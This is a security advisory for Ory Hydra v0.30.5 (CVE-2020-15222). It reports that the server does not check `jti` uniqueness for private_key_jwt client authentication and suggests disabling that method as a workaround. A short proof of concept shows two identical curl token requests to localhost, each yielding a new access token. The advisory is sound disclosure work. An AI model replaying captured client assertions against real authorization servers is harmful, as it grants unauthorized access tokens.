Disallow replay of `private_key_jwt` by blacklisting JTIs

Moderate aeneasr published GHSA-v3q9-2p3m-7g43 on Sep 24, 2020

Package

No package listed

Affected versions

v0.30.5

Patched versions

None

Description

Impact

When using client authentication method "private_key_jwt" [1], OpenId specification says the following about assertion `jti`:

> A unique identifier for the token, which can be used to prevent reuse of the token. These tokens MUST only be used once, unless conditions for reuse were negotiated between the parties

Hydra does not seem to check the uniqueness of this `jti` value. Here is me sending the same token request twice, hence with the same `jti` assertion, and getting two access tokens:

```
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
   --header 'Content-Type: application/x-www-form-urlencoded' \
   --data-urlencode 'grant_type=client_credentials' \
   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
   --data-urlencode 'scope=application openid' \
   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
   --data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOt1AC18q5J6A-TIsNegQRRUzqlZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}
⏎
$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
   --header 'Content-Type: application/x-www-form-urlencoded' \
   --data-urlencode 'grant_type=client_credentials' \
   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
   --data-urlencode 'scope=application openid' \
   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
   --data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}
```

Patches

Has the problem been patched? What versions should users upgrade to?

Workarounds

Do not allow clients to use `private_key_jwt`.

References

https://openid.net/specs/openid-connect-core-1_0.html#ClientAuthentication

Severity

Moderate

CVE ID

CVE-2020-15222

Weaknesses

No CWEs